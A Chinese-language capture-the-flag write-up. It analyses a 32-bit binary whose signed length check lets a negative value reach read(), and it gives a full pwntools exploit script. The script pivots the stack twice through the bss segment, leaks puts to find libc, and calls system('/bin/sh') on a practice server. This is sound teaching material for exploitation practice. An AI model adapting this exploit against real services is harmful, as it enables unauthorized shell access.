前言
考点:栈溢出+汇编基础
本题为 32 位程序,保护如下:
漏洞分析
我的 IDA 无法 F5,但是好在程序不复杂,所以直接分析汇编代码(这里只给出关键点)。
程序首先会让你输入用户名并输出。然后会调用 readNum 函数让你输入一个密码长度:
可以看到这里要求输入的长度不大于 0x20,否则就直接退出。注意这里比较用的 jle 是带符号比较 ,这里非常重要,是后面利用的基础。
然后我们看下 readNum 函数:
可以看到就是往 bss 段的 buf 中读入 0x10 的数据,然后将其转换为整数并返回。
如果上面的判断过了,就会利用 read 函数往缓冲区中写数据,数据大小就是上面的密码长度:
漏洞就来了,在上面我们说了密码长度比较用的 jle 是带符号比较,所以我们可以利用负数去进行绕过,然后如果你熟悉 read 函数的话,你会发现其第三个参数是 size_t 类型,也就是无符号整数。所以这里存在栈溢出。
ssize_t read(int fd, void buf[.count], size_t count);
这里要注意一下最后的返回,你会发现暗藏玄机。
漏洞利用
存在栈溢出,没开 PIE,一开始想的就是直接 ret2libc,但是如果你看了函数的最后的返回部分(见上面的图片),你会发现我们不能直接简单的进行 ret2libc。
因为最后的 esp 等于 ecx-4,而 ecx 来自 [ebp-0xc],所以当我们覆盖返回地址的时候,就会把 [ebp-0xc] 给覆盖了,而我们并不知道栈上的地址,从而导致后面无法正常进行 ret2libc。
但是可以反过来想想,这里其实给了我们控制 rsp 的能力,因为 [ebp-0xc] 我们是可以控制的,所以完全可以控制 ecx,从而去控制 rsp。啊,这不是天然的栈迁移。
栈迁移到那里呢?这里就要用到在输出密码长度的函数了。在 readNum 函数中,向 bss 段上的 buf 中输入了 0x10 字节,其中前 4 个字节用来填充 -1,所以我们还可以写3个 gadget。
3个 gadget 是不能执行一条完整的 rop 链的,所以得进行二次栈迁移。
还是把这张图片在放一放:
3条gadget 我们可以在执行一次 _read 函数,并且 buf 和 len 是可控的,那如何进行二次栈迁移呢?很简单这里你发现了吗?ebp 我们也是可以控制的,而上面的 esp = ebp-0xc,所以当我们劫持程序再次执行 _read 后就可以直接把栈迁移到我们的 rop 链地址上。
exp 如下:需要注意的是这里的栈得往下点,因为bss前面存在一些不可写地址。然而puts/system等函数会把栈往上抬,这时会导致段错误
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
#io = process("./pwn")
elf = ELF("./pwn")
#libc = elf.libc
io = remote("node4.buuoj.cn", 29948)
libc = ELF("./libc-2.27.so")
def debug():
gdb.attach(io)
pause()
#gdb.attach(io, 'b *0x080487B0')
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b''
bss = 0x0804A060
call_read = 0x08048793
puts_plt = 0x08048490
puts_got = 0x0804A01C
read_plt = 0x08048460
pop_ret = 0x08048431 # pop ebx ; ret
pop_3_ret = 0x08048819 # pop esi ; pop edi ; pop ebp ; ret
sla(b'What\'s name?', b'XiaozaYa')
dis = 0x500
pay = b'-1\n\x00' + p32(call_read) + p32(bss) + p32(dis)
sda(b'password: ', pay)
fake_rbp = bss + dis - 0x100
pay = b'A'*0x48 + p32(bss+8) + p32(0)*2 + p32(fake_rbp)
sla(b'):', pay)
sleep(0.05)
# BSS 段上面存在不可写地址,直接把 bss 段开头当作栈地址,后面调用函数时会对不可写地址进行写
#pay = p32(0x80487BA) + p32(puts_plt) + p32(pop_ret) + p32(puts_got)
# 所以得把栈往下调整
pay = p32(0x080487B0).ljust(dis-0x100-0xc, b'\x00') + p32(fake_rbp+0x8) + p32(0) + p32(0) + p32(fake_rbp)
pay += p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(read_plt) + p32(pop_3_ret) + p32(0) + p32(bss+dis-0x100+0x24) + p32(0x100)
info("pay len", len(pay))
info("fake_rbp", fake_rbp)
sl(pay)
#pause()
rut(b'contiune\n')
puts_addr = addr4(4)
libc.address = puts_addr - libc.sym.puts
info("puts_addr", puts_addr)
info("libc_base", libc.address)
sleep(0.01)
pay = p32(libc.sym.system) + p32(0xdeadbeef) + p32(next(libc.search(b"/bin/sh")))
sl(pay)
#debug()
sh()
效果如下: